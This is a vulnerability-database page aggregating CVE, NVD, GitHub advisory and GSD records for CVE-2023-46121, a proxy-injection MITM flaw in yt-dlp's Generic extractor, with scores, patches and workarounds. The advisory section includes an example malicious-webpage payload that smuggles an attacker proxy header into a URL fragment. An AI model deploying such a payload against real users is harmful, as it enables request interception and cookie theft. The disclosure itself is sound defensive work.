Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2023-46121 (GCVE-0-2023-46121)
Vulnerability from cvelistv5 – Published: 2023-11-14 23:31 – Updated: 2024-08-29 15:19
VLAI
EPSS
Title
Generic Extractor MITM Vulnerability in yt-dlp
Summary
yt-dlp is a youtube-dl fork with additional features and fixes. The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases. Version 2023.11.14 removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. Users are advised to upgrade. Users unable to upgrade should disable the Ggneric extractor (or only pass trusted sites with trusted content) and ake caution when using `--no-check-certificate`.
Severity
5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/yt-dlp/yt-dlp/security/advisor… | x_refsource_CONFIRM |
| https://github.com/yt-dlp/yt-dlp/commit/f04b5beda… | x_refsource_MISC |
| https://github.com/yt-dlp/yt-dlp/releases/tag/202… | x_refsource_MISC |
Impacted products
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-02T20:37:39.888Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x",
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x"
},
{
"name": "https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb",
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb"
},
{
"name": "https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14",
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14"
}
],
"title": "CVE Program Container"
},
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2023-46121",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-08-29T15:18:50.836529Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2024-08-29T15:19:23.948Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "yt-dlp",
"vendor": "yt-dlp",
"versions": [
{
"status": "affected",
"version": "\u003e= 2022.10.04, \u003c 2023.11.14"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "yt-dlp is a youtube-dl fork with additional features and fixes. The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp\u0027s HTTP session. This could lead to cookie exfiltration in some cases. Version 2023.11.14 removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. Users are advised to upgrade. Users unable to upgrade should disable the Ggneric extractor (or only pass trusted sites with trusted content) and ake caution when using `--no-check-certificate`."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-444",
"description": "CWE-444: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2023-11-14T23:31:55.145Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x"
},
{
"name": "https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb"
},
{
"name": "https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14"
}
],
"source": {
"advisory": "GHSA-3ch3-jhc6-5r8x",
"discovery": "UNKNOWN"
},
"title": "Generic Extractor MITM Vulnerability in yt-dlp"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2023-46121",
"datePublished": "2023-11-14T23:31:55.145Z",
"dateReserved": "2023-10-16T17:51:35.571Z",
"dateUpdated": "2024-08-29T15:19:23.948Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2023-46121",
"date": "2026-06-24",
"epss": "0.00318",
"percentile": "0.23446"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2023-46121\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2023-11-15T00:15:09.470\",\"lastModified\":\"2026-06-17T06:30:11.627\",\"vulnStatus\":\"Modified\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"yt-dlp is a youtube-dl fork with additional features and fixes. The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp\u0027s HTTP session. This could lead to cookie exfiltration in some cases. Version 2023.11.14 removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. Users are advised to upgrade. Users unable to upgrade should disable the Ggneric extractor (or only pass trusted sites with trusted content) and ake caution when using `--no-check-certificate`.\"},{\"lang\":\"es\",\"value\":\"yt-dlp es una bifurcaci\u00f3n de youtube-dl con funciones y correcciones adicionales. The Generic Extractor en yt-dlp es vulnerable a que un atacante configure un proxy arbitrario para una solicitud en una URL arbitraria, lo que le permite al atacante realizar MITM la solicitud realizada desde la sesi\u00f3n HTTP de yt-dlp. En algunos casos, esto podr\u00eda provocar la exfiltraci\u00f3n de cookies. La versi\u00f3n 2023.11.14 elimin\u00f3 la capacidad de pasar de contrabando `http_headers` al extractor gen\u00e9rico, as\u00ed como a otros extractores que usan el mismo patr\u00f3n. Se recomienda a los usuarios que actualicen. Los usuarios que no puedan actualizar deben desactivar el extractor Ggneric (o solo pasar por sitios confiables con contenido confiable) y tener cuidado al usar `--no-check-certificate`.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"yt-dlp\",\"product\":\"yt-dlp\",\"versions\":[{\"version\":\"\u003e= 2022.10.04, \u003c 2023.11.14\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L\",\"baseScore\":5.0,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"HIGH\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"REQUIRED\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"LOW\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"LOW\"},\"exploitabilityScore\":1.6,\"impactScore\":3.4},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N\",\"baseScore\":3.7,\"baseSeverity\":\"LOW\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"HIGH\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"LOW\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.2,\"impactScore\":1.4}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2024-08-29T15:18:50.836529Z\",\"id\":\"CVE-2023-46121\",\"options\":[{\"exploitation\":\"none\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-444\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:yt-dlp_project:yt-dlp:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"2022.10.04\",\"versionEndExcluding\":\"2023.11.14\",\"matchCriteriaId\":\"3FC3CE4C-A093-449A-BB70-CFB7A7FD1EF0\"}]}]}],\"references\":[{\"url\":\"https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Release Notes\"]},{\"url\":\"https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Vendor Advisory\"]},{\"url\":\"https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Release Notes\"]},{\"url\":\"https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Vendor Advisory\"]}]}}",
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"CVE Program Container\", \"references\": [{\"url\": \"https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x\", \"name\": \"https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x\", \"tags\": [\"x_refsource_CONFIRM\", \"x_transferred\"]}, {\"url\": \"https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb\", \"name\": \"https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb\", \"tags\": [\"x_refsource_MISC\", \"x_transferred\"]}, {\"url\": \"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14\", \"name\": \"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14\", \"tags\": [\"x_refsource_MISC\", \"x_transferred\"]}], \"providerMetadata\": {\"orgId\": \"af854a3a-2127-422b-91ae-364da2661108\", \"shortName\": \"CVE\", \"dateUpdated\": \"2024-08-02T20:37:39.888Z\"}}, {\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2023-46121\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2024-08-29T15:18:50.836529Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2024-08-29T15:19:18.488Z\"}}], \"cna\": {\"title\": \"Generic Extractor MITM Vulnerability in yt-dlp\", \"source\": {\"advisory\": \"GHSA-3ch3-jhc6-5r8x\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"HIGH\", \"availabilityImpact\": \"LOW\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"LOW\"}}], \"affected\": [{\"vendor\": \"yt-dlp\", \"product\": \"yt-dlp\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 2022.10.04, \u003c 2023.11.14\"}]}], \"references\": [{\"url\": \"https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x\", \"name\": \"https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb\", \"name\": \"https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14\", \"name\": \"https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"yt-dlp is a youtube-dl fork with additional features and fixes. The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp\u0027s HTTP session. This could lead to cookie exfiltration in some cases. Version 2023.11.14 removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. Users are advised to upgrade. Users unable to upgrade should disable the Ggneric extractor (or only pass trusted sites with trusted content) and ake caution when using `--no-check-certificate`.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-444\", \"description\": \"CWE-444: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2023-11-14T23:31:55.145Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2023-46121\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2024-08-29T15:19:23.948Z\", \"dateReserved\": \"2023-10-16T17:51:35.571Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2023-11-14T23:31:55.145Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
}
}
FKIE_CVE-2023-46121
Vulnerability from fkie_nvd - Published: 2023-11-15 00:15 - Updated: 2026-06-17 06:30
Severity
5.0 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
3.7 (Low) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
3.7 (Low) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
Summary
yt-dlp is a youtube-dl fork with additional features and fixes. The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases. Version 2023.11.14 removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. Users are advised to upgrade. Users unable to upgrade should disable the Ggneric extractor (or only pass trusted sites with trusted content) and ake caution when using `--no-check-certificate`.
References
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| yt-dlp_project | yt-dlp | * |
{
"affected": [
{
"affectedData": [
{
"product": "yt-dlp",
"vendor": "yt-dlp",
"versions": [
{
"status": "affected",
"version": "\u003e= 2022.10.04, \u003c 2023.11.14"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:yt-dlp_project:yt-dlp:*:*:*:*:*:*:*:*",
"matchCriteriaId": "3FC3CE4C-A093-449A-BB70-CFB7A7FD1EF0",
"versionEndExcluding": "2023.11.14",
"versionStartIncluding": "2022.10.04",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "yt-dlp is a youtube-dl fork with additional features and fixes. The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp\u0027s HTTP session. This could lead to cookie exfiltration in some cases. Version 2023.11.14 removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. Users are advised to upgrade. Users unable to upgrade should disable the Ggneric extractor (or only pass trusted sites with trusted content) and ake caution when using `--no-check-certificate`."
},
{
"lang": "es",
"value": "yt-dlp es una bifurcaci\u00f3n de youtube-dl con funciones y correcciones adicionales. The Generic Extractor en yt-dlp es vulnerable a que un atacante configure un proxy arbitrario para una solicitud en una URL arbitraria, lo que le permite al atacante realizar MITM la solicitud realizada desde la sesi\u00f3n HTTP de yt-dlp. En algunos casos, esto podr\u00eda provocar la exfiltraci\u00f3n de cookies. La versi\u00f3n 2023.11.14 elimin\u00f3 la capacidad de pasar de contrabando `http_headers` al extractor gen\u00e9rico, as\u00ed como a otros extractores que usan el mismo patr\u00f3n. Se recomienda a los usuarios que actualicen. Los usuarios que no puedan actualizar deben desactivar el extractor Ggneric (o solo pasar por sitios confiables con contenido confiable) y tener cuidado al usar `--no-check-certificate`."
}
],
"id": "CVE-2023-46121",
"lastModified": "2026-06-17T06:30:11.627",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.0,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 1.6,
"impactScore": 3.4,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 3.7,
"baseSeverity": "LOW",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.2,
"impactScore": 1.4,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2023-46121",
"options": [
{
"exploitation": "none"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-08-29T15:18:50.836529Z",
"version": "2.0.3"
}
}
]
},
"published": "2023-11-15T00:15:09.470",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14"
},
{
"source": "security-advisories@github.com",
"tags": [
"Vendor Advisory"
],
"url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Release Notes"
],
"url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Vendor Advisory"
],
"url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-444"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-3CH3-JHC6-5R8X
Vulnerability from github – Published: 2023-11-15 14:48 – Updated: 2023-11-15 14:48
VLAI
Summary
yt-dlp Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection
Details
Impact
The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.
To pass extra control data between extractors (such as headers like `Referer`), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only. Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a `Referer` header sent with it, for example. Additionally, yt-dlp has internal headers to set a proxy for a request: `Ytdl-request-proxy` and `Ytdl-socks-proxy`. While these are deprecated, internally `Ytdl-request-proxy` is still used for `--geo-verification-proxy`. However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to **set an arbitrary proxy for an arbitrary url that the Generic extractor will request.** This could allow for the following, but not limited too: - An attacker can MITM a request it asks yt-dlp to make to **any** website. - If a user has loaded cookies into yt-dlp for the target site, which are not marked as [secure](https://en.wikipedia.org/wiki/Secure_cookie), they could be exfiltrated by the attacker. - Fortunately most sites are HTTPS and should be setting cookies as secure. - An attacker can set cookies for an arbitrary site. An example malicious webpage:<!DOCTYPE html>
<cinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D')
Where `{{ target_site }}` is the URL Generic extractor will request and `{{ proxy url }}` is the proxy to proxy the request for this url through.
Patches
- We have removed the ability to smuggle
http_headersto the Generic extractor, as well as other extractors that use the same pattern.
Workarounds
- Disable Generic extractor (
--ies default,-generic), or only pass trusted sites with trusted content. - Take caution when using
--no-check-certificate.
References
Severity
5.0 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "yt-dlp"
},
"ranges": [
{
"events": [
{
"introduced": "2022.10.04"
},
{
"fixed": "2023.11.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46121"
],
"database_specific": {
"cwe_ids": [
"CWE-444",
"CWE-613"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-15T14:48:24Z",
"nvd_published_at": "2023-11-15T00:15:09Z",
"severity": "MODERATE"
},
"details": "### Impact\nThe Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp\u0027s HTTP session. This could lead to cookie exfiltration in some cases.\n\n\u003cdetails\u003e\n\nTo pass extra control data between extractors (such as headers like `Referer`), yt-dlp employs a concept of \"url smuggling\". This works by adding this extra data as json to the url fragment (\"smuggling\") that is then passed on to an extractor. The receiving extractor then \"unsmuggles\" the data from the input url. This functionality is intended to be internal only.\n\nCurrently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a `Referer` header sent with it, for example.\n\nAdditionally, yt-dlp has internal headers to set a proxy for a request: `Ytdl-request-proxy` and `Ytdl-socks-proxy`. While these are deprecated, internally `Ytdl-request-proxy` is still used for `--geo-verification-proxy`.\n\nHowever, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to **set an arbitrary proxy for an arbitrary url that the Generic extractor will request.**\n\nThis could allow for the following, but not limited too:\n- An attacker can MITM a request it asks yt-dlp to make to **any** website.\n - If a user has loaded cookies into yt-dlp for the target site, which are not marked as [secure](https://en.wikipedia.org/wiki/Secure_cookie), they could be exfiltrated by the attacker.\n - Fortunately most sites are HTTPS and should be setting cookies as secure.\n- An attacker can set cookies for an arbitrary site.\n\nAn example malicious webpage:\n```html\n\u003c!DOCTYPE html\u003e\n\u003ccinerama.embedPlayer(\u0027t\u0027,\u0027{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D\u0027)\n```\n\nWhere `{{ target_site }}` is the URL Generic extractor will request and `{{ proxy url }}` is the proxy to proxy the request for this url through.\n\n\u003c/details\u003e\n\n### Patches\n- We have removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern.\n\n### Workarounds\n- Disable Generic extractor (`--ies default,-generic`), or only pass trusted sites with trusted content.\n- Take caution when using `--no-check-certificate`.\n\n### References\n- \u003chttps://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x\u003e\n- \u003chttps://nvd.nist.gov/vuln/detail/CVE-2023-46121\u003e\n- \u003chttps://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14\u003e\n- \u003chttps://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb\u003e\n",
"id": "GHSA-3ch3-jhc6-5r8x",
"modified": "2023-11-15T14:48:24Z",
"published": "2023-11-15T14:48:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46121"
},
{
"type": "WEB",
"url": "https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb"
},
{
"type": "PACKAGE",
"url": "https://github.com/yt-dlp/yt-dlp"
},
{
"type": "WEB",
"url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "yt-dlp Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection"
}
GSD-2023-46121
Vulnerability from gsd - Updated: 2023-12-13 01:20Details
yt-dlp is a youtube-dl fork with additional features and fixes. The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases. Version 2023.11.14 removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. Users are advised to upgrade. Users unable to upgrade should disable the Ggneric extractor (or only pass trusted sites with trusted content) and ake caution when using `--no-check-certificate`.
Aliases
Aliases
{
"GSD": {
"alias": "CVE-2023-46121",
"id": "GSD-2023-46121"
},
"gsd": {
"metadata": {
"exploitCode": "unknown",
"remediation": "unknown",
"reportConfidence": "confirmed",
"type": "vulnerability"
},
"osvSchema": {
"aliases": [
"CVE-2023-46121"
],
"details": "yt-dlp is a youtube-dl fork with additional features and fixes. The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp\u0027s HTTP session. This could lead to cookie exfiltration in some cases. Version 2023.11.14 removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. Users are advised to upgrade. Users unable to upgrade should disable the Ggneric extractor (or only pass trusted sites with trusted content) and ake caution when using `--no-check-certificate`.",
"id": "GSD-2023-46121",
"modified": "2023-12-13T01:20:52.786979Z",
"schema_version": "1.4.0"
}
},
"namespaces": {
"cve.org": {
"CVE_data_meta": {
"ASSIGNER": "security-advisories@github.com",
"ID": "CVE-2023-46121",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "yt-dlp",
"version": {
"version_data": [
{
"version_affected": "=",
"version_value": "\u003e= 2022.10.04, \u003c 2023.11.14"
}
]
}
}
]
},
"vendor_name": "yt-dlp"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
